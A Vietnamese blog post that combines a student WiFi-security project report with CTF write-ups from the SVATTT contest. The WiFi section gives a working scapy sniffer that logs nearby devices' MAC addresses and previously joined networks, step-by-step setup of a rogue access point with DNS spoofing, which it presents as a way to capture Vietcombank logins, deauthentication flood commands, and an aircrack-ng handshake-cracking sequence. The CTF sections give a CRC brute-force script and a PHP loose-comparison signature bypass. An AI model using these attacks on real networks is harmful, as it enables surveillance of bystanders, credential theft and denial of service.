Báo cáo đồ án WIFI SECURITY ( attack and “chémgió” )

Nhiều khi muốn viết xong lại nghỉ, muốn nghỉ xong lại viết rồi cuối cùng thì viết, Dù gì thì đây là một trong những Project đầu tiên cảm thấy mình thực sự hữu dụng.
Câu truyện bắt đầu từ một từ “tuyên giáo” à nhầm “Phà”, vì đây là lần đầu tiên mình đi phà :xuốngnúi:
3

Chém gió vậy thôi, đây mới là phần chính

Đã bao giờ bạn nghĩ mình đã che dấu tất cả mà sao vẫn bị phát hiện chưa, hoặc tại sao ngày đó mình toàn bị mất account trong khi mình không tiết lộ 1 bit. Mọi thứ trở nên không còn được bảo vệ khi bạn đang truy cập vào một trạm phát sóng lừa đảo hoặc cũng chẳng truy cập vào đâu cả.

* Vấn đề 1: Bạn đang thú tội với mọi người xung quanh
Nếu bạn nói dối, hãy chắc chắn là bạn đang nói dối với đúng người, mọi thứ xung quanh đã thú tội trước khi bạn nhắm mắt.
Đầu tiên nói về kết nối wireless network, ở đây có 2 trường hợp xảy khi kết nối: bị động và chủ động
Với trường hợp bị động, các thiết bị trên mode Master sẽ gửi các gói tin Beacon để quảng bá tín hiệu, sau đó các thiết bị mode Manager sẽ nhận thấy cường độ sẽ lưu lại chờ lệnh kết nối.
Với trường hợp chủ động, các thiết bị muốn được kết nối sẽ hỏi thăm những Wifi đã từng kết nối bằng các gói tin Probe Request, gói tin này vô tình tố cáo ngày hôm qua bạn đã truy cập vào wifi nào -> hôm qua bạn đã đi đâu, thật đau khổ khi những việc riêng tư như vậy được chia sẻ với tất cả mọi người
basic tool để khai thác điều này.

#!/usr/bin/python
from scapy.all import *

MAC_ADDR = []
SSID = []
i = 0
logfile = "captured.log"
def PacketHandler(pkt):
  global i
  if pkt.haslayer(Dot11):
    if pkt.type == 0 and pkt.subtype == 4:
      i+= 1
      PrintPacket(pkt, i)

def PrintPacket(pkt, i):
  global MAC_ADDR
  global SSID
  
  mac_addr = pkt.addr2
  ssid = pkt.getlayer(Dot11ProbeReq).info
  if mac_addr not in MAC_ADDR:
    MAC_ADDR.append(mac_addr)

  if ssid != "":
    print "|\t%02s\t" % i, "|\t", mac_addr, "\t|", ssid
    open(logfile, "a").write(mac_addr + " " + ssid + "\n")
  
def main():
  print "|\tNo \t|", "\tMAC Address\t\t", "| SSID\t"
  print "|---------------|-------------------------------|-------------------------------"
  sniff(iface="wlan0", prn=PacketHandler)


  for mac_addr in MAC_ADDR:
    print "This device (%s) had connected to:" % mac_addr
    tmp = []
    for line in open(logfile).readlines():
      if mac_addr in line:
        if line[18:-1] not in tmp and line[18:-1] != "":
          print " " * 50, line[18:-1]
          tmp.append(line[18:-1])
          
main()

Cảm ơn anh Quân Đoàn đã chia sẻ ❤
* Vấn đề 2: Liệu có an toàn khi bạn kết nối tới 1 Access Point lạ.
Xem Video cho rõ nào:


Tên đăng nhập và password của vietcombank dễ lấy vậy sao?
OK giờ mình sẽ chỉ cho các bạn tạo 1 "wifi lạ"
Bước 1: Triệu hồi Tool
Create_ap : https://github.com/oblique/create_ap
DHCPD : sudo apt-get install isc-dhcp-server
DNSmasq : https://github.com/guns/dnsmasq
Ettercap : https://ettercap.github.io/ettercap/ Nếu không thể cái DHCP hoặc DHCP không ổn định
và quan trọng nhất apache để làm bất cứ thứ gì mình thích
Mình để sourcecode ở đây và không nói gì thêm
https://drive.google.com/open?id=0B82ak4muq6oIY1hSbURTNnd3YXc
https://drive.google.com/open?id=0B31L-TTjA07TUVE1UzRmbFdLT2M
Bước 2: Cài đặt và config
Các tool kia mình không nói thêm vì cài đặt rất đơn giản, mình chỉ nói tới DNSmasq vì cái này cần config nhất.
Trong file /etc/dnsmasq.conf

no-dhcp-interface=
server=8.8.8.8

no-hosts
addn-hosts=/etc/dnsmasq.hosts

với server=8.8.8.8 là server mà bạn muốn forward tới
còn file /etc/dnsmasq.hosts là DNS cache
sau đó vào file dnsmasq.hosts để config những tên miền mà bạn muốn fake qua địa chỉ nào.

Bước 3: Chạy, ở đây mình không có đủ card nên chạy 2 card wlan0 và eth0
#create_ap -m bridge wlan0 eth0 tenwifi passwordwifi
Mở tab khác bật dnsmasq
#killall -9 dnsmasq
#dnsmasq -q -d
Bật ettercap và config DHCP spoofing qua DNS của mình
Bước 4: Chờ đợi là hạnh phúc
1
* Vấn đề 3: Tấn công DOS
Câu thần chú có thể tàn phá hầu hết các con router cùi:
# aireplay-ng –ignore-negative-one –deauth 1000 -a D1:11:11:11:11:11 wlan0
với D1:11:11:11:11:11 là SSID của con router: tìm không khó, nhiều tool, bật wireshark cũng thấy được
wlan0 là card mạng ở mode monitor
* Vấn đề 4: Crack Wifi
Mình chỉ nói tới từ điển vì các loại khác khá lâu, nếu từ điển mạnh thì khả năng lấy được pass là khá chắc
Bộ công cụ aircrack quá nổi tiếng rồi
#airmon-ng start wlan0 // bật mode monitor ở card ảo wlan0mon
#airmon-ng start kill / airmon-ng check kill // bỏ đi những thứ không cần
#airodump-ng wlan0mon // Sniff trên mode Monitor tìm vài thứ
#airodump-ng -c [kênh] –bssid [BSSID] -w [đường dẫn sẽ lưu file bắt tay]
#aireplay-ng –ignore-negative-one –deauth 1000 -a D1:11:11:11:11:11 wlan0mon // kick nó ra cho nó vào lại mới lấy được file bắt tay chứ 🙂
# aircrack-ng -w [Từ điển] [File bắt tay]

SVATTT( ze-RE50, mrc-RE150 )

Bật IDA lên và xem source thì mình nhặt được cái này, đọc source thì thấy không có gì đặc biệt chỉ có hàm strtoul,

capture
google ra cái này

unsigned long int strtoul(const char *str, char **endptr, int base)

OK vậy convert 53 qua base17 là xong
53 – 17*3 = 2 -> base17 của 53 là 32
flag: 00000032

Tiếp tục với bài MRC, ta nhận thấy mọi mấu chốt của vấn đề đều nằm ở hàm sub_8048740
1
Ta nhận thấy với mỗi vòng lặp for thực hiện sẽ lấy từng ký tự trong chuỗi ký tự input của ngừi nhập vào để biến đổi. Ta nhận thấy rằng với mỗi giá trị input thay đổi chỉ làm ảnh hưởng đến toàn bộ ký tự phía sau trong chuỗi output tương ứng, mà những ký tự phía trước vẫn được giữ nguyên.

Chính vì điều này ta có thể bruteforce từng ký tự và so sánh kết quả với output đề bài và tìm được flag.

Code

array = [0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,0xE963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7,0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,0xFA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59,0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,0xCFBA9599,0xB8BDA50F,0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D,0x76DC4190,0x01DB7106,0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433,0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,0x91646C97,0xE6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65,0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,0xA4D1C46D,0xD3D6F4FB,0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9,0x5005713C,0x270241AA,0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F,0x5EDEF90E,0x29D9C998,0xB0D09822,0xC7D7A8B4,0x59B33D17,0x2EB40D81,0xB7BD5C3B,0xC0BA6CAD,0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,0xEAD54739,0x9DD277AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,0x196C3671,0x6E6B06E7,0xFED41B76,0x89D32BE0,0x10DA7A5A,0x67DD4ACC,0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0xD6D6A3E8,0xA1D1937E,0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,0x316E8EEF,0x4669BE79,0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D,0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0xF1D4E242,0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,0x616BFFD3,0x166CCF45,0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,0xA7672661,0xD06016F7,0x4969474D,0x3E6E77DB,0xAED16A4A,0xD9D65ADC,0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9,0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D,0x00000000,0x00000000,0x00000000,0x00000000]
result = [0xff,0xb7,0x8c,0x22,0xab,0x21,0xa8,0x30] #123
v2 = 0
v4 = 0xffffffff
output = "ffc309e61f2ac3df48d3b9b64fd1720bfb95b460a1235f5d91c4f92ce90dfa516e1b8c49225b808560a9d853980662"
def sr(a):
   	 a = (a + 2**32) % 2**32
   	 return a
tmp = ""
for h in range(2,100):
    set = 0
    print tmp
    for g in range(0,255):
   	 input = tmp + chr(g) + "}"
   	 # print input
   	 flag = ""
   	 v2 = 0
   	 v4 = 0xffffffff
   	 for i in input:
   		 v2 = (v4 >> 24) ^ ord(i)
   		 # print hex(v4)
   		 # print hex(ord(i))
   		 # print hex(v2)
   		 # print str(hex(v4))[8:10] + " -- -- -- "  + i
   		 # print "hex(v4 & ((ord(i) >>7)*0xff | 0xffffff00))"
   		 # print hex(v4 & ((ord(i) >>7)*0xff | 0xffffff00))
   		 # print hex(v2)
   		 # print hex(array[v2])
   		 flag += str(hex(v4))[-2:]
   		 # print flag
   		 v4 = v4 & ((ord(i) >>7)*0xff | 0xffffff00) ^ array[v2]
   		 # print hex(v4)
   		 # print "----------------"
   	 # print flag
   	 
   	 if flag == output[:h*2] :
   		 print flag
   		 print output
   		 tmp += chr(g)
   		 set = 1
   		 break
    if (flag == output):
   	 print "Flag is : " + tmp + "}"
   	 exit(0)
	

2
Created by PwnPP4fun

Write up SVATTT – web150 – readfie

Link ở đây!
Bài này đề cho source code, bug xuất hiện rất rõ ràng, quan trọng là làm sao để khai thác được thôi 🙂

<?php
    function checksig($filename, $timestamp, $sig, $secretkey)
    {
        $realsig = substr(md5($filename.$timestamp.$secretkey),0,16);
        if ($sig == $realsig)
        {
            $filename = './'.str_replace('/','',$filename);
            readfile($filename);
            die(0);
        }
        echo "Invalid Signature!";
    }

$secretkey = "XXXXXXXXXXXXXXXXXXXXXXXXX";//This is not real $secretkey, ignore it !!!
echo "<html>
    <title>Web100</title>
    <body>
    
Dare to read flag.php???
    <a href='web100.php?filename=test.php&timestamp=13371337&sig=d7a52c3ed325ef19'>Click me</a>
    </body>";
if (isset($_GET['filename'])&&isset($_GET['sig'])&&isset($_GET['timestamp']))
    {
        checksig($_GET['filename'],$_GET['timestamp'],$_GET['sig'], $secretkey);
        die(0);
    }
echo "Something's missing!!";
echo "</html>";
?>

Thấy 2 dấu bằng chỗ này :””” if ($sig == $realsig) “”” thì mình biết chắc chắn là loose comparation – 1 tính năng khá kinh điển của php. Nếu bạn chưa biết thì hãy nhấn vào đây
Quan trọng là làm sao khai thác nó.
Nếu so sánh 2 chuỗi thì có 1 vài thứ mình cần xem xét
TRUE: “0000” == int(0)
TRUE: “0e12” == int(0)
TRUE: “1abc” == int(1)
TRUE: “0abc” == int(0)
TRUE: “abc” == int(0)
Tuy nhiên do là so sánh string nên có gì đó hơi khác vì “0abc”==”0” -> false
nhưng “0e1234″==”0” -> true
“0e1218718″==”0” -> true
……..
“0e”+chuỗi số -> true

hoặc có thể còn trường hợp nào nữa (số 1 cũng có thể) nhưng chắc chắn payload dùng số 0 rất có khả năng bypass được hàm so sánh.
lợi dụng điều này mình có thể force cho 1 đoạn string bất kỳ so sánh với “0” hoặc “1” sẽ trả về true
Mình gọi cái đống này là “so sánh noob”
OK vậy nếu cái sig check thì khá là nguy hiểm, chỉ cần đoạn substr(md5($filename.$timestamp.$secretkey),0,16) trả về 1 cái gì đó tuơng tự như các kí tự “so sánh noob” thì ta sẽ bypass được cái sig này
có 2 input nhập vào, cái thứ nhất sẽ là flag.php vì đề hint như vậy 🙂
cái thứ 2 sẽ dùng để brute sao cho cái sig của “””substr(md5($filename.$timestamp.$secretkey),0,16)””” có dạng “so sánh noob”.
mình sẽ brute bắt đầu từ 0 cho chắc ăn

import requests
for i in range(0,1000000):
		u1 = "http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp="+str(i)+"&sig=1"
		u2 = "http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp="+str(i)+"&sig=0"
		r1 = requests.get(u1)
		r2 = requests.get(u2)
		l1 = len(r1.text)
		l2 = len(r2.text)
		if l1!=210:<img src="https://b01701.files.wordpress.com/2016/11/1.png?w=300" alt="1" width="300" height="68" class="alignnone size-medium wp-image-145" />
			print u1
		if l2!=210:
			print u2

sau khi chạy đoạn code này xong, mình thấy nó in ra cái url này http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp=862&sig=0
ok vào đó xem thử thì thấy thế này
1
Khá là noob vì mình không để ý đến source, phải mất hơn 1 tiếng sau mình mới nghĩ đến viewsource
2
và lấy được flag SVATTT{N0_m0r3_h4sh_3xtens10n_4tt4ck}